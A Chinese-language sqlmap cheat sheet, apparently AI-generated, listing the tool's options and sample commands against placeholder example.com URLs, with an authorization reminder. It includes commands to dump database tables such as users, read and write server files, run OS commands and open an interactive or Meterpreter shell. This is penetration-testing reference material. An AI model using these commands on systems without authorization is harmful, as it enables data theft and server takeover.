sqlmap常用参数和使用方法

sqlmap常用参数和使用方法

基本参数

  • -u URL:指定目标URL
  • --data=DATA:POST请求数据
  • --cookie=COOKIE:HTTP Cookie头
  • --random-agent:使用随机User-Agent
  • --proxy=PROXY:使用代理服务器
  • --threads=THREADS:最大并发线程数(默认1)

探测与枚举

  • --dbs:枚举数据库管理系统数据库
  • --tables:枚举数据库表
  • --columns:枚举数据库表列
  • -D DB:指定数据库
  • -T TBL:指定数据表
  • -C COL:指定列
  • --dump:导出数据表内容
  • --dump-all:导出所有数据库内容
  • --schema:导出数据库结构
  • --count:获取数据表记录数

注入技术参数

  • --technique=TECH:指定注入技术(BEST, B, E, U, S, T, Q)
  • --level=LEVEL:测试等级(1-5,默认1)
  • --risk=RISK:风险等级(0-3,默认1)
  • --dbms=DBMS:指定后端DBMS(MySQL, PostgreSQL等)
  • --os=OS:指定后端操作系统
  • --prefix=PREFIX:注入payload前缀
  • --suffix=SUFFIX:注入payload后缀

文件系统操作

  • --file-read=FILE:读取后端文件系统文件
  • --file-write=FILE:写入本地文件到后端文件系统
  • --file-dest=FILE:后端文件系统写入路径
  • --os-cmd=CMD:执行操作系统命令
  • --os-shell:交互式操作系统shell
  • --os-pwn:获取OOB shell、Meterpreter或VNC

优化与调试

  • -v VERBOSE:详细级别(0-6,默认1)
  • --batch:非交互模式,使用默认设置
  • --flush-session:清空会话文件
  • --fresh-queries:忽略查询结果缓存
  • --parse-errors:解析DBMS错误信息
  • --time-sec=TIMESEC:响应延迟秒数(默认5)

典型使用示例

GET请求测试:

sqlmap -u "http://example.com/page.php?id=1" --dbs

POST请求测试:

sqlmap -u "http://example.com/login.php" --data="user=admin&pass=test" --dbs

带Cookie测试:

sqlmap -u "http://example.com/page.php?id=1" --cookie="session=abc123" --dbs

指定数据库和表:

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T users --dump

使用代理:

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

执行操作系统命令:

sqlmap -u "http://example.com/page.php?id=1" --os-cmd="whoami"

批量测试:

sqlmap -m target.txt --batch

注意:使用sqlmap前请确保拥有合法授权,仅用于授权的安全测试。

所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。